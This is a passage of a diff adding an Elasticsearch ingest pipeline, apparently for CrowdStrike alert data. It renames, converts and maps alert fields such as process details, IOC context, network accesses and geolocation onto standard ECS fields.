+      ignore_empty_value: true
+  - set:
+      field: process.name
+      tag: set_process_name
+      copy_from: crowdstrike.alert.filename
+      ignore_empty_value: true
+  - rename:
+      field: json.filepath
+      tag: rename_filepath
+      target_field: crowdstrike.alert.filepath
+      ignore_missing: true
+  - set:
+      field: file.path
+      tag: set_file_path_from_alert_filepath
+      copy_from: crowdstrike.alert.filepath
+      ignore_empty_value: true
+  - set:
+      field: process.executable
+      tag: set_process_executable
+      copy_from: crowdstrike.alert.filepath
+      ignore_empty_value: true
+  - foreach:
+      field: json.file_writes
+      if: ctx.json?.file_writes instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_file_writes_sha256_into_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.file_writes
+      tag: rename_file_writes
+      target_field: crowdstrike.alert.file_writes
+      ignore_missing: true
+  - foreach:
+      field: json.files_accessed
+      if: ctx.json?.files_accessed instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_files_accessed_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.files_accessed
+      tag: rename_files_accessed
+      target_field: crowdstrike.alert.files_accessed
+      ignore_missing: true
+  - foreach:
+      field: json.files_written
+      if: ctx.json?.files_written instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_files_written_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.files_written
+      tag: rename_files_written
+      target_field: crowdstrike.alert.files_written
+      ignore_missing: true
+  - rename:
+      field: json.global_prevalence
+      tag: rename_global_prevalence
+      target_field: crowdstrike.alert.global_prevalence
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.cmdline
+      tag: rename_grandparent_details_cmdline
+      target_field: crowdstrike.alert.grandparent_details.cmdline
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.filename
+      tag: rename_grandparent_details_filename
+      target_field: crowdstrike.alert.grandparent_details.filename
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.filepath
+      tag: rename_grandparent_details_filepath
+      target_field: crowdstrike.alert.grandparent_details.filepath
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.local_process_id
+      tag: rename_grandparent_details_local_process_id
+      target_field: crowdstrike.alert.grandparent_details.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.md5
+      tag: rename_grandparent_details_md5
+      target_field: crowdstrike.alert.grandparent_details.md5
+      ignore_missing: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.grandparent_details.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null
+  - rename:
+      field: json.grandparent_details.process_graph_id
+      tag: rename_grandparent_details_process_graph_id
+      target_field: crowdstrike.alert.grandparent_details.process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.process_id
+      tag: rename_grandparent_details_process_id
+      target_field: crowdstrike.alert.grandparent_details.process_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.sha256
+      tag: rename_grandparent_details_sha256
+      target_field: crowdstrike.alert.grandparent_details.sha256
+      ignore_missing: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.grandparent_details.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null
+  - date:
+      field: json.grandparent_details.timestamp
+      tag: date_grandparent_details_timestamp
+      target_field: crowdstrike.alert.grandparent_details.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.grandparent_details.user_graph_id
+      tag: rename_grandparent_details_user_graph_id
+      target_field: crowdstrike.alert.grandparent_details.user_graph_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_user_graph_id_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null
+  - rename:
+      field: json.grandparent_details.user_id
+      tag: rename_grandparent_details_user_id
+      target_field: crowdstrike.alert.grandparent_details.user_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_grandparent_details_user_id_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null
+  - rename:
+      field: json.grandparent_details.user_name
+      tag: rename_grandparent_details_user_name
+      target_field: crowdstrike.alert.grandparent_details.user_name
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_grandparent_details_user_name_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_name}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null
+  - convert:
+      field: json.has_script_or_module_ioc
+      tag: convert_has_script_or_module_ioc_to_boolean
+      target_field: crowdstrike.alert.has_script_or_module_ioc
+      type: boolean
+      if: ctx.json?.has_script_or_module_ioc != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.host_name
+      tag: rename_host_name
+      target_field: crowdstrike.alert.host_name
+      ignore_missing: true
+  - set:
+      field: host.name
+      tag: set_host_name_from_alert_host_name
+      copy_from: crowdstrike.alert.host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      value: '{{{host.name}}}'
+      allow_duplicates: false
+      if: ctx.host?.name != null
+  - rename:
+      field: json.host_type
+      tag: rename_host_type
+      target_field: crowdstrike.alert.host_type
+      ignore_missing: true
+  - set:
+      field: host.type
+      tag: set_host_type_from_alert_host_type
+      copy_from: crowdstrike.alert.host_type
+      ignore_empty_value: true
+  - script:
+      tag: reconstruct_has_script_or_module_ioc_from_ioc_context
+      lang: painless
+      if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List
+      source: |
+        if (ctx.crowdstrike == null) {
+          ctx.crowdstrike = [:];
+        }
+        if (ctx.crowdstrike.alert == null) {
+          ctx.crowdstrike.alert = [:];
+        }
+        for (def c: ctx.json.ioc_context) {
+          if (c.type == 'module' || c.type == 'script') {
+            ctx.crowdstrike.alert.has_script_or_module_ioc = true;
+            return;
+          }
+        }
+        ctx.crowdstrike.alert.has_script_or_module_ioc = false;
+  - rename:
+      field: json.id
+      tag: rename_id
+      target_field: crowdstrike.alert.id
+      ignore_missing: true
+  - set:
+      field: event.id
+      tag: set_event_id_from_alert_id
+      copy_from: crowdstrike.alert.id
+      ignore_empty_value: true
+  - convert:
+      field: json.idp_policy_enforced_externally
+      tag: convert_idp_policy_enforced_externally_to_long
+      target_field: crowdstrike.alert.idp_policy.enforced_externally
+      type: long
+      if: ctx.json?.idp_policy_enforced_externally != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_mfa_factor_type
+      tag: convert_idp_policy_mfa_factor_type_to_long
+      target_field: crowdstrike.alert.idp_policy.mfa_factor_type
+      type: long
+      if: ctx.json?.idp_policy_mfa_factor_type != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_mfa_provider
+      tag: convert_idp_policy_mfa_provider_to_long
+      target_field: crowdstrike.alert.idp_policy.mfa_provider
+      type: long
+      if: ctx.json?.idp_policy_mfa_provider != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_rule_action
+      tag: convert_idp_policy_rule_action_to_long
+      target_field: crowdstrike.alert.idp_policy.rule_action
+      type: long
+      if: ctx.json?.idp_policy_rule_action != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_rule_trigger
+      tag: convert_idp_policy_rule_trigger_to_long
+      target_field: crowdstrike.alert.idp_policy.rule_trigger
+      type: long
+      if: ctx.json?.idp_policy_rule_trigger != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.idp_policy_rule_id
+      tag: rename_idp_policy_rule_id
+      target_field: crowdstrike.alert.idp_policy.rule_id
+      ignore_missing: true
+  - set:
+      field: rule.id
+      tag: set_rule_id_from_alert_idp_policy_rule_id
+      copy_from: crowdstrike.alert.idp_policy.rule_id
+      ignore_empty_value: true
+  - rename:
+      field: json.idp_policy_rule_name
+      tag: rename_idp_policy_rule_name
+      target_field: crowdstrike.alert.idp_policy.rule_name
+      ignore_missing: true
+  - set:
+      field: rule.name
+      tag: set_rule_name_from_alert_idp_policy_rule_name
+      copy_from: crowdstrike.alert.idp_policy.rule_name
+      ignore_empty_value: true
+  - rename:
+      field: json.image_file_name
+      tag: rename_image_file_name
+      target_field: crowdstrike.alert.image_file_name
+      ignore_missing: true
+  - set:
+      field: file.path
+      tag: set_file_path_from_alert_image_file_name
+      copy_from: crowdstrike.alert.image_file_name
+      ignore_empty_value: true
+  - date:
+      field: json.incident.created
+      tag: date_incident_created
+      target_field: crowdstrike.alert.incident.created
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.created != null && ctx.json.incident.created != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.incident.end
+      tag: date_incident_end
+      target_field: crowdstrike.alert.incident.end
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.end != null && ctx.json.incident.end != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.incident.id
+      tag: rename_incident_id
+      target_field: crowdstrike.alert.incident.id
+      ignore_missing: true
+  - convert:
+      field: json.incident.score
+      tag: convert_incident_score_to_double
+      target_field: crowdstrike.alert.incident.score
+      type: double
+      if: ctx.json?.incident?.score != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.incident.start
+      tag: date_incident_start
+      target_field: crowdstrike.alert.incident.start
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.start != null && ctx.json.incident.start != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  - rename:
+      field: json.indicator_id
+      tag: rename_indicator_id
+      target_field: crowdstrike.alert.indicator_id
+      ignore_missing: true
+  - rename:
+      field: json.ioc_context
+      tag: rename_ioc_context
+      target_field: crowdstrike.alert.ioc_context
+      ignore_missing: true
+  - foreach:
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_ioc_context_md5_to_related_hash
+          value: '{{{_ingest._value.md5}}}'
+          allow_duplicates: false
+  - foreach:
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_ioc_context_sha256_to_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.ioc_description
+      tag: rename_ioc_description
+      target_field: crowdstrike.alert.ioc_description
+      ignore_missing: true
+  - rename:
+      field: json.ioc_source
+      tag: rename_ioc_source
+      target_field: crowdstrike.alert.ioc_source
+      ignore_missing: true
+  - rename:
+      field: json.ioc_type
+      tag: rename_ioc_type
+      target_field: crowdstrike.alert.ioc_type
+      ignore_missing: true
+  - rename:
+      field: json.ioc_value
+      tag: rename_ioc_value
+      target_field: crowdstrike.alert.ioc_value
+      ignore_missing: true
+  - rename:
+      field: json.ioc_values
+      tag: rename_ioc_values
+      target_field: crowdstrike.alert.ioc_values
+      ignore_missing: true
+  - append:
+      field: crowdstrike.alert.ioc_values
+      tag: append_ioc_value_to_ioc_values
+      value: '{{{crowdstrike.alert.ioc_value}}}'
+      if: ctx.crowdstrike?.alert?.ioc_value != null
+      allow_duplicates: false
+  - foreach:
+      tag: reconstruct_ioc_values_from_ioc_context
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: crowdstrike.alert.ioc_values
+          tag: append_ioc_context_ioc_value_to_ioc_values
+          value: '{{{_ingest._value.ioc_value}}}'
+          allow_duplicates: false
+  - convert:
+      field: json.is_synthetic_quarantine_disposition
+      tag: convert_is_synthetic_quarantine_disposition_to_boolean
+      target_field: crowdstrike.alert.is_synthetic_quarantine_disposition
+      type: boolean
+      if: ctx.json?.is_synthetic_quarantine_disposition != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details
+      lang: painless
+      if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map
+      source: |
+        if (ctx.crowdstrike == null) {
+          ctx.crowdstrike = [:];
+        }
+        if (ctx.crowdstrike.alert == null) {
+          ctx.crowdstrike.alert = [:];
+        }
+        for (def d: ctx.json.pattern_disposition_details.entrySet()) {
+          if (d.getKey() == 'quarantine_file') {
+            ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue();
+            return;
+          }
+        }
+        ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false;
+  - convert:
+      field: json.ldap_search_query_attack
+      tag: convert_ldap_search_query_attack_to_long
+      target_field: crowdstrike.alert.ldap_search_query_attack
+      type: long
+      if: ctx.json?.ldap_search_query_attack != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.local_prevalence
+      tag: rename_local_prevalence
+      target_field: crowdstrike.alert.local_prevalence
+      ignore_missing: true
+  - rename:
+      field: json.local_process_id
+      tag: rename_local_process_id
+      target_field: crowdstrike.alert.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.location_country_code
+      tag: rename_location_country_code
+      target_field: crowdstrike.alert.location_country_code
+      ignore_missing: true
+  - set:
+      field: observer.geo.country_iso_code
+      tag: set_observer_geo_country_iso_code_from_alert_location_country_code
+      copy_from: crowdstrike.alert.location_country_code
+      ignore_empty_value: true
+  - convert:
+      field: json.location_latitude_as_int
+      tag: convert_location_latitude_as_int_to_long
+      target_field: crowdstrike.alert.location_latitude_as_int
+      type: long
+      if: ctx.json?.location_latitude_as_int != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.location_longitude_as_int
+      tag: convert_location_longitude_as_int_to_long
+      target_field: crowdstrike.alert.location_longitude_as_int
+      type: long
+      if: ctx.json?.location_longitude_as_int != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: combine latitude and longitude.
+      tag: script_to_combine_latitude_and_longitude
+      lang: painless
+      if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null
+      source: |-
+          def location = new HashMap();
+          location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int);
+          location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int);
+          if(ctx.observer == null) {
+            ctx.put('observer', new HashMap());
+          }
+          if(ctx.observer.geo == null){
+            ctx.observer.put('geo', new HashMap());
+          }
+          ctx.observer.geo.location = location;
+  - rename:
+      field: json.logon_domain
+      tag: rename_logon_domain
+      target_field: crowdstrike.alert.logon_domain
+      ignore_missing: true
+  - rename:
+      field: json.md5
+      tag: rename_md5
+      target_field: crowdstrike.alert.md5
+      ignore_missing: true
+  - set:
+      field: process.hash.md5
+      tag: set_process_hash_md5
+      copy_from: crowdstrike.alert.md5
+      ignore_empty_value: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.md5 != null
+  - rename:
+      field: json.model_anomaly_indicators
+      tag: rename_model_anomaly_indicators
+      target_field: crowdstrike.alert.model_anomaly_indicators
+      ignore_missing: true
+  - rename:
+      field: json.name
+      tag: rename_name
+      target_field: crowdstrike.alert.name
+      ignore_missing: true
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        date:
+          field: _ingest._value.access_timestamp
+          tag: date_network_accesses_access_timestamp
+          target_field: _ingest._value.access_timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.access_timestamp
+                ignore_missing: true
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.access_type
+          tag: convert_network_accesses_access_type_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.access_type
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.isIPV6
+          tag: convert_network_accesses_isIPV6_to_boolean
+          type: boolean
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.isIPV6
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.local_address
+          tag: convert_network_accesses_local_address_to_ip
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.local_address
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_network_accesses_local_address_into_related_ip
+          value: '{{{_ingest._value.local_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.local_port
+          tag: convert_network_accesses_local_port_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.local_port
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.remote_address
+          tag: convert_network_accesses_remote_address_to_ip
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.remote_address
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_network_accesses_remote_address_into_related_ip
+          value: '{{{_ingest._value.remote_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.remote_port
+          tag: convert_network_accesses_remote_port_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.remote_port
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.network_accesses
+      tag: rename_network_accesses
+      target_field: crowdstrike.alert.network_accesses
+      ignore_missing: true
+  - rename:
+      field: json.objective
+      tag: rename_objective
+      target_field: crowdstrike.alert.objective
+      ignore_missing: true
+  - rename:
+      field: json.operating_system
+      tag: rename_operating_system
+      target_field: crowdstrike.alert.operating_system
+      ignore_missing: true
+  - set:
+      field: host.os.name
+      tag: set_host_os_name_from_alert_operating_system
+      copy_from: crowdstrike.alert.operating_system
+      ignore_empty_value: true
+  - script:
+      description: Dynamically set host.os.type values.
+      tag: script_map_host_os_type
+      lang: painless
+      params:
+        os_type:
+          - linux
+          - macos
+          - unix
+          - windows
+          - ios
+          - android
+      source: |
+        if (ctx.crowdstrike?.alert?.device?.platform_name != null) {
+          String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase();
+          for (String os: params.os_type) {
+            if (platform_name.contains(os)) {
+              ctx.host.os.put('type', os);
+              return;
+            }
+          }
+        } else if (ctx.crowdstrike?.alert?.operating_system != null) {
+          String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase();
+          for (String os: params.os_type) {
+            if (operating_system.contains(os)) {
+              ctx.host.os.put('type', os);
+              return;
+            }
+          }
+        }
+  - rename:
+      field: json.os_name
+      tag: rename_os_name
+      target_field: crowdstrike.alert.os_name
+      ignore_missing: true
+  - set:
+      field: host.os.family
+      tag: set_host_os_family_from_alert_os_name
+      copy_from: crowdstrike.alert.os_name
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.cmdline
+      tag: rename_parent_details_cmdline
+      target_field: crowdstrike.alert.parent_details.cmdline
+      ignore_missing: true
+  - set:
+      field: process.parent.command_line
+      tag: set_process_parent_command_line_from_alert_parent_details_cmdline
+      copy_from: crowdstrike.alert.parent_details.cmdline
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.filename
+      tag: rename_parent_details_filename
+      target_field: crowdstrike.alert.parent_details.filename
+      ignore_missing: true
+  - set:
+      field: process.parent.name
+      tag: set_process_parent_name
+      copy_from: crowdstrike.alert.parent_details.filename
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.filepath
+      tag: rename_parent_details_filepath
+      target_field: crowdstrike.alert.parent_details.filepath
+      ignore_missing: true
+  - set:
+      field: process.parent.executable
+      tag: set_process_parent_executable
+      copy_from: crowdstrike.alert.parent_details.filepath
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.local_process_id
+      tag: rename_parent_details_local_process_id
+      target_field: crowdstrike.alert.parent_details.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.md5
+      tag: rename_parent_details_md5
+      target_field: crowdstrike.alert.parent_details.md5
+      ignore_missing: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.parent_details.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.md5 != null
+  - set:
+      field: process.parent.hash.md5
+      tag: set_process_parent_hash_md5_from_alert_parent_details_md5
+      copy_from: crowdstrike.alert.parent_details.md5
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.process_graph_id
+      tag: rename_parent_details_process_graph_id
+      target_field: crowdstrike.alert.parent_details.process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.process_id
+      tag: rename_parent_details_process_id
+      target_field: crowdstrike.alert.parent_details.process_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.sha256
+      tag: rename_parent_details_sha256
+      target_field: crowdstrike.alert.parent_details.sha256
+      ignore_missing: true
+  - set:
+      field: process.parent.hash.sha256
+      tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256
+      copy_from: crowdstrike.alert.parent_details.sha256
+      ignore_empty_value: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.parent_details.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null
+  - date:
+      field: json.parent_details.timestamp
+      tag: date_parent_details_timestamp
+      target_field: crowdstrike.alert.parent_details.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.parent_details.user_graph_id
+      tag: rename_parent_details_user_graph_id
+      target_field: crowdstrike.alert.parent_details.user_graph_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_parent_details_user_graph_id_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null
+  - rename:
+      field: json.parent_details.user_id
+      tag: rename_parent_details_user_id
+      target_field: crowdstrike.alert.parent_details.user_id
+      ignore_missing: true
+  - set:
+      field: process.user.id
+      tag: set_process_user_id_from_alert_parent_details_user_id
+      copy_from: crowdstrike.alert.parent_details.user_id
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.user_name
+      tag: rename_parent_details_user_name
+      target_field: crowdstrike.alert.parent_details.user_name
+      ignore_missing: true
+  - set:
+      field: process.user.name
+      tag: set_process_user_name_from_alert_parent_details_user_name
+      copy_from: crowdstrike.alert.parent_details.user_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_parent_details_user_id_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_id != null
+  - append:
+      field: related.user
+      tag: append_parent_details_user_name_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_name}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_name != null
+  - rename:
+      field: json.parent_process_id
+      tag: rename_parent_process_id
+      target_field: crowdstrike.alert.parent_process_id
+      ignore_missing: true
+  - set:
+      field: process.parent.entity_id
+      tag: set_process_parent_entity_id
+      copy_from: crowdstrike.alert.parent_process_id
+      ignore_empty_value: true
+  - convert:
+      field: crowdstrike.alert.parent_process_id
+      tag: convert_alert_parent_process_id
+      target_field: process.parent.pid
+      type: long
+      if: ctx.crowdstrike?.alert?.parent_process_id != ''
+      ignore_missing: true
